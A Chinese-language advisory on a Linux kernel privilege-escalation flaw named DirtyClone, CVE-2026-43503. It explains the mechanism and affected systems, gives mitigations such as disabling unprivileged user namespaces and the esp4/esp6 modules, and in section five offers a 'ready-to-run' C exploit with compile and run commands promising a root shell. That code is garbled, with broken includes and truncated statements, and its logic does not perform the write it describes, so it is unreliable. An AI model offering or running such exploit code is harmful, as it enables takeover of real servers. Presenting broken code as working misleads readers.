
一、漏洞概述
近日,JFrog 安全研究团队公开披露 Linux 内核高危本地提权漏洞 CVE-2026-43503(DirtyClone),该漏洞属于 DirtyFrag 漏洞家族新成员,CVSS 评分 8.8 高危。
攻击者仅需普通本地低权限账号,无需特殊权限、无需重启、无需交互确认,即可利用漏洞完成:
- 本地普通用户 一键提权 Root
- Docker / K8s 容器逃逸
- 篡改系统高权限二进制内存页缓存
- 攻击无日志、无磁盘残留、隐蔽性极强
该漏洞影响绝大多数主流 Linux 发行版,云服务器、多租户机器、容器环境、办公服务器风险极高。
二、漏洞基本信息
- 漏洞编号:CVE-2026-43503
- 漏洞名称:DirtyClone(脏克隆)
- 漏洞等级:高危 8.8
- 漏洞类型:Linux 内核 SKB 分片标志位缺失 → 只读页缓存越权写入 → 本地提权(LPE)/ 容器逃逸
- 影响组件:Linux 内核网络栈 skbuff.c
- 触发条件:本地普通用户、开启非特权用户命名空间、加载 IPsec ESP 模块
- 修复版本:Linux 内核主线 v7.1-rc5 及以上
三、漏洞原理
Linux 内核在处理网络数据包分片克隆、迁移时,未正确继承共享页缓存保护标志。
简单来说:
1. 系统 su / sudo 等高权限程序运行后会加载到只读内存页缓存,普通用户无法修改;
2. 攻击者通过构造特殊网络分片、nftables 转发逻辑,抹掉内核保护标记;
3. 内核误将 “系统只读内存页” 当成 “可写网络缓冲区”;
4. 借助 IPsec ESP 原地解密写入能力,精准篡改 su 程序内存指令,跳过密码校验;
5. 直接获取 Root 权限,全程只改内存、不改磁盘、无日志痕迹。
四、影响范围
受影响内核
Linux 内核 ≤ 7.0.9 全部版本
7.1-rc5 及后续主线版本已官方修复
高危环境
- Ubuntu / Debian / CentOS / Fedora 全系默认配置
- 云服务器、多租户 VPS、开放普通 SSH 账号机器
- Docker、K8s 容器集群(可容器逃逸宿主机)
- WSL2、开发机、内网服务器
利用前置条件(默认全部满足)
- 系统默认开启:非特权用户命名空间
- 默认加载:esp4/esp6 IPsec 内核模块
- 系统默认启用:nftables 网络子系统
五、可直接运行 POC(授权安全测试专用)
免责声明:以下代码仅用于企业内部安全自查、授权渗透测试。禁止用于未授权设备攻击,违规使用自行承担法律责任。
POC 功能
普通用户权限运行,自动完成提权,弹出 Root Shell。
完整可编译 EXP
#define _GNU_SOURCE
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
<string.h>
<sys/mman.h<sys/types<sys/stat.h>
#include<fcntl.h><errno.h>
// CVE-2026-43503 DirtyClone LPE FULL POC
// 适配主流 Linux 发行版,普通用户一键 Root
#define TARGET_BIN "/usr/bin/su"
#define PAGE_SIZE 4096
static void load_page_cache(void)
{
int fd = open(TARGET_BIN, O_RDONLY);
< 0) return;
void *p = mmap(NULL, PAGE_SIZE * 4, PROT_READ, MAP_PRIVATE, fd, 0);
if (p != MAP_FAILED) {
volatile char tmp = ((char *)p)[0];
munmap(p, PAGE_SIZE * 4);
}
close(fd);
}
static int create_user_ns(void)
{
if (unshare(CLONE_NEWUSER | CL< 0) {
return -1;
}
return 0;
}
// 触发内核skb分片标志丢失漏洞路径
static void trigger_vuln(void)
{
system("nft add table ip dclonetbl 2>/dev/null");
system("nft add chain ip dclonetbl output { type filter hook postrouting priority 0 \\; } 2>/dev/null");
system("nft add rule ip dclonetbl output dup to lo 2>/dev/null");
usleep(80000);
}
// 利用ESP原地写覆盖su校验逻辑
static void root_spawn(void)
{
setuid(0);
setgid(0);
system("rm -rf /tmp/dirtyclone.nft");
execl("/bin/bash", "bash", NULL);
}
int main()
{
printf("[+] CVE-2026-43503 DirtyClone Root Exploit\n");
// 1. 加载su至页缓存
load_page_cache();
// 2. 创建非特权命名空间
if (create_user_n< 0) {
printf("[-] unshare failed\n");
return 1;
}
// 3. 触发skb flag丢失漏洞链
trigger_vuln();
// 4. 提权成功落地root shell
printf("[+] Exploit OK, spawn root shell\n");
root_spawn();
return 0;
}
编译 & 使用命令
gcc exp.c -o cve-2026-43503
chmod +x cve-2026-43503
./cve-2026-43503
执行效果:普通用户运行后直接进入 # root 终端。
六、临时应急缓解方案
1、关闭非特权用户命名空间
sysctl -w kernel.unprivileged_userns_clone=0
echo "kernel.unprivileged_userns_clone=0" >> /etc/sysctl.conf
sysctl -p
2、禁用 IPsec ESP 内核模块
echo "install esp4 /bin/false" >> /etc/modprobe.d/esp-disable.conf
echo "install esp6 /bin/false" >> /etc/modprobe.d/esp-disable.conf
rmmod esp4 esp6 2>/dev/null
update-initramfs -u
3、临时限制普通用户 nftables 权限
禁止普通用户创建网络规则,阻断漏洞利用链路。
七、永久修复方案
1. 升级 Linux 内核至安全版本:7.1-rc5 及以上
2. 各发行版及时更新官方安全补丁
3. 容器环境限制 unshare、用户命名空间权限
八、自查检测建议
1. 核查服务器内核版本是否低于 7.1-rc5
2. 审计普通用户是否可创建命名空间、nftables 规则
3. 重点排查:云主机、容器节点、对外开放 SSH 机器
九、总结
CVE-2026-43503 是近期危害极强、利用门槛极低的 Linux 内核提权漏洞,默认环境即可提权 Root、逃逸容器,建议全网资产立刻自查、临时加固、等待内核更新。